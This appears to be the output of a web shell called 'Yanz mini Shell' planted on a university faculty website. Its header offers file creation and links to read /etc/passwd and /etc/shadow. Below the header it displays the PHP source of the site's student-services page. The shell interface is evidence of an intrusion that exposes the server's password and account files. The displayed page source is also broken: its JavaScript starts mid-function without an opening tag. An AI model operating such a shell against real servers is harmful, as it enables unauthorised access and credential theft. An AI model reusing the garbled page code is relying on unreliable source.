Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
// pages/layanan-mahasiswa.php — Halaman publik Layanan Mahasiswa (4 tab)
require_once __DIR__ . '/../config/config.php';

$page_title       = 'Layanan Mahasiswa - ' . setting('site_name');
$meta_description = 'Layanan kemahasiswaan FSAINS UNCP: penalaran & minat bakat, kesejahteraan, kewirausahaan, dan prestasi.';

$KATEGORI = [
    'penalaran'     => ['label' => 'Penalaran, Minat & Bakat',  'icon' => 'fas fa-lightbulb',  'color' => '#3b82f6'],
    'kesejahteraan' => ['label' => 'Kesejahteraan',              'icon' => 'fas fa-heartbeat',  'color' => '#ef4444'],
    'kewirausahaan' => ['label' => 'Kewirausahaan',              'icon' => 'fas fa-rocket',     'color' => '#10b981'],
    'prestasi'      => ['label' => 'Prestasi',                   'icon' => 'fas fa-trophy',     'color' => '#f59e0b'],
    'ucc_tracer'    => ['label' => 'UCC Tracer Study',           'icon' => 'fas fa-chart-line', 'color' => '#8b5cf6'],
];

// Ambil data per kategori sekaligus
$data = [];
foreach (array_keys($KATEGORI) as $k) $data[$k] = [];

$_lm_filter = softDeleteEnabled($conn, 'layanan_mahasiswa') ? " AND deleted_at IS NULL" : "";
$stmt = $conn->prepare("SELECT * FROM layanan_mahasiswa WHERE is_active = 1 $_lm_filter ORDER BY kategori, sort_order ASC, id ASC");
$stmt->execute();
$r = $stmt->get_result();
while ($row = $r->fetch_assoc()) $data[$row['kategori']][] = $row;
$stmt->close();

include __DIR__ . '/../includes/header.php';
?>

<div class="page-hero" style="background: linear-gradient(135deg, #0a2b3e, #115277); color: white; padding: 80px 0 60px;">
  <div class="container">
    <nav style="font-size: 0.85rem; opacity: 0.8; margin-bottom: 16px;">
      <a href="<?= $base_url ?>/index.php" style="color: #fff000; text-decoration: none;">Beranda</a>
      <span style="margin: 0 8px;">›</span>
      <span>Layanan Mahasiswa</span>
    </nav>
    <h1 style="font-family: 'Poppins', sans-serif; font-size: 2.5rem; font-weight: 800;" data-aos="fade-up">
      <i class="fas fa-hands-helping"></i> Layanan Mahasiswa
    </h1>
    <p style="opacity: 0.9; max-width: 720px; margin-top: 12px;" data-aos="fade-up" data-aos-delay="100">
      Berbagai layanan untuk mendukung pengembangan akademik, non-akademik, kesejahteraan, dan karir mahasiswa Fakultas Sains UNCP.
    </p>
  </div>
</div>

<div style="display: flex; gap: 12px; flex-wrap: wrap; margin-bottom: 40px;" data-aos="fade-up">
    <?php $first = true; foreach ($KATEGORI as $key => $info): ?>
      <button class="layanan-tab <?= $first ? 'active' : '' ?>" data-tab="<?= $key ?>" type="button"
              style="padding: 14px 24px; border-radius: 50px; border: 2px solid #e5e7eb;
                     background: <?= $first ? '#0a2b3e' : 'white' ?>;
                     color: <?= $first ? 'white' : '#0a2b3e' ?>;
                     font-weight: 700; cursor: pointer; transition: all 0.2s;
                     font-family: inherit; display: inline-flex; gap: 8px; align-items: center;">
        <i class="<?= e($info['icon']) ?>"></i> <?= e($info['label']) ?>
        <span style="background: rgba(255,255,255,0.2); padding: 2px 10px; border-radius: 20px; font-size: 0.8rem;">
          <?= count($data[$key]) ?>
        </span>
      </button>
    <?php $first = false; endforeach; ?>
  </div>

<?php $first = true; foreach ($KATEGORI as $key => $info): ?>
    <div class="layanan-content" data-content="<?= $key ?>" style="<?= $first ? '' : 'display: none;' ?>">

<div style="background: linear-gradient(135deg, <?= $info['color'] ?>, <?= $info['color'] ?>dd); color: white; padding: 32px; border-radius: 24px; margin-bottom: 32px;" data-aos="fade-up">
        <div style="display: flex; align-items: center; gap: 20px; flex-wrap: wrap;">
          <div style="width: 72px; height: 72px; background: rgba(255,255,255,0.2); border-radius: 18px; display: flex; align-items: center; justify-content: center; flex-shrink: 0;">
            <i class="<?= e($info['icon']) ?>" style="font-size: 36px;"></i>
          </div>
          <div>
            <h2 style="font-family: 'Poppins', sans-serif; font-size: 1.8rem; font-weight: 800;">
              <?= e($info['label']) ?>
            </h2>
            <p style="opacity: 0.95; margin-top: 4px;">
              <?php
              $deskripsi_kategori = [
                  'penalaran'     => 'Wadah pengembangan kemampuan akademik, penalaran ilmiah, dan minat bakat mahasiswa.',
                  'kesejahteraan' => 'Akses layanan bimbingan konseling, beasiswa, dan kesehatan untuk mendukung kesejahteraan mahasiswa.',
                  'kewirausahaan' => 'Program-program kewirausahaan dan pengembangan karir untuk mahasiswa dan alumni.',
                  'prestasi'      => 'Database prestasi mahasiswa serta dukungan bagi yang berprestasi.',
                  'ucc_tracer'    => 'University Career Center & Tracer Study — sistem pelacakan alumni dan layanan pengembangan karir lulusan.',
              ];
              echo e($deskripsi_kategori[$key] ?? '');
              ?>
            </p>
          </div>
        </div>
      </div>

<?php if (empty($data[$key])): ?>
        <div style="text-align: center; padding: 60px 20px; background: #f8fafc; border-radius: 20px;">
          <i class="fas fa-folder-open" style="font-size: 48px; color: #cbd5e1; margin-bottom: 12px;"></i>
          <p style="color: #64748b;">Belum ada layanan tersedia di kategori ini.</p>
        </div>
      <?php else: ?>
        <div style="display: grid; grid-template-columns: repeat(auto-fill, minmax(360px, 1fr)); gap: 24px;">
          <?php $delay = 0; foreach ($data[$key] as $item): ?>
            <div data-aos="fade-up" data-aos-delay="<?= $delay ?>"
                 style="background: white; border-radius: 20px; overflow: hidden;
                        box-shadow: 0 10px 30px rgba(0,0,0,0.06); border-top: 4px solid <?= $info['color'] ?>;
                        display: flex; flex-direction: column;">
              <?php if (!empty($item['foto'])): ?>
                <div style="width:100%; aspect-ratio:16/9; overflow:hidden; background:#f1f5f9;">
                  <img src="<?= $base_url ?>/assets/images/layanan/<?= e($item['foto']) ?>"
                       alt="<?= e($item['judul']) ?>"
                       style="width:100%; height:100%; object-fit:cover;"
                       onerror="this.parentElement.style.display='none';">
                </div>
              <?php endif; ?>
              <div style="padding: 28px;">
              <div style="display: flex; align-items: center; gap: 16px; margin-bottom: 16px;">
                <div style="width: 56px; height: 56px; border-radius: 14px;
                            background: <?= $info['color'] ?>15;
                            display: flex; align-items: center; justify-content: center; flex-shrink: 0;">
                  <i class="<?= e($item['icon']) ?>" style="font-size: 26px; color: <?= $info['color'] ?>;"></i>
                </div>
                <h3 style="font-family: 'Poppins', sans-serif; font-size: 1.15rem;
                           font-weight: 700; color: #0a2b3e; line-height: 1.3; flex: 1;">
                  <?= e($item['judul']) ?>
                </h3>
              </div>

<?php if ($item['deskripsi']): ?>
                <p style="color: #475569; font-size: 0.95rem; line-height: 1.6; margin-bottom: 16px;">
                  <?= nl2br(e($item['deskripsi'])) ?>
                </p>
              <?php endif; ?>

<?php if ($item['syarat']): ?>
                <div style="background: #f8fafc; padding: 14px 16px; border-radius: 12px; margin-bottom: 12px;">
                  <div style="font-size: 0.78rem; font-weight: 700; color: #0a2b3e; letter-spacing: 0.5px; margin-bottom: 6px;">
                    <i class="fas fa-clipboard-check"></i> SYARAT
                  </div>
                  <div style="font-size: 0.88rem; color: #475569; line-height: 1.55;">
                    <?= nl2br(e($item['syarat'])) ?>
                  </div>
                </div>
              <?php endif; ?>

<?php if ($item['waktu_layanan']): ?>
                <div style="background: #fff8e6; padding: 14px 16px; border-radius: 12px; margin-bottom: 16px;">
                  <div style="font-size: 0.78rem; font-weight: 700; color: #92400e; letter-spacing: 0.5px; margin-bottom: 6px;">
                    <i class="far fa-clock"></i> WAKTU PELAYANAN
                  </div>
                  <div style="font-size: 0.88rem; color: #78350f; line-height: 1.55;">
                    <?= nl2br(e($item['waktu_layanan'])) ?>
                  </div>
                </div>
              <?php endif; ?>

<?php if (!empty($item['tempat']) || !empty($item['penanggung_jawab'])): ?>
                <div style="display:flex; flex-direction:column; gap:8px; margin-bottom:16px; font-size:0.85rem; color:#475569;">
                  <?php if (!empty($item['tempat'])): ?>
                    <div><i class="fas fa-map-marker-alt" style="color:<?= $info['color'] ?>; width:16px;"></i> <?= e($item['tempat']) ?></div>
                  <?php endif; ?>
                  <?php if (!empty($item['penanggung_jawab'])): ?>
                    <div><i class="fas fa-user-tie" style="color:<?= $info['color'] ?>; width:16px;"></i> <?= e($item['penanggung_jawab']) ?></div>
                  <?php endif; ?>
                </div>
              <?php endif; ?>

<?php if (!empty($item['url'])): ?>
                <a href="<?= e($item['url']) ?>" target="_blank" rel="noopener"
                   style="margin-top: auto; display: inline-flex; align-items: center; gap: 8px; color: <?= $info['color'] ?>; font-weight: 700; text-decoration: none; font-size: 0.95rem;">
                  Buka Informasi Lengkap <i class="fas fa-external-link-alt" style="font-size: 0.8em;"></i>
                </a>
              <?php endif; ?>
              </div>
            </div>
          <?php $delay = ($delay + 80) % 320; endforeach; ?>
        </div>
      <?php endif; ?>
    </div>
  <?php $first = false; endforeach; ?>

</div>

// Update tabs visual
    document.querySelectorAll('.layanan-tab').forEach(b => {
      b.classList.remove('active');
      b.style.background = 'white';
      b.style.color = '#0a2b3e';
    });
    this.classList.add('active');
    this.style.background = '#0a2b3e';
    this.style.color = 'white';

// Switch content
    document.querySelectorAll('.layanan-content').forEach(c => {
      c.style.display = c.dataset.content === target ? '' : 'none';
    });

// Re-trigger AOS for newly visible content
    if (typeof AOS !== 'undefined') AOS.refresh();
  });
});
</script>

<?php include __DIR__ . '/../includes/footer.php'; ?>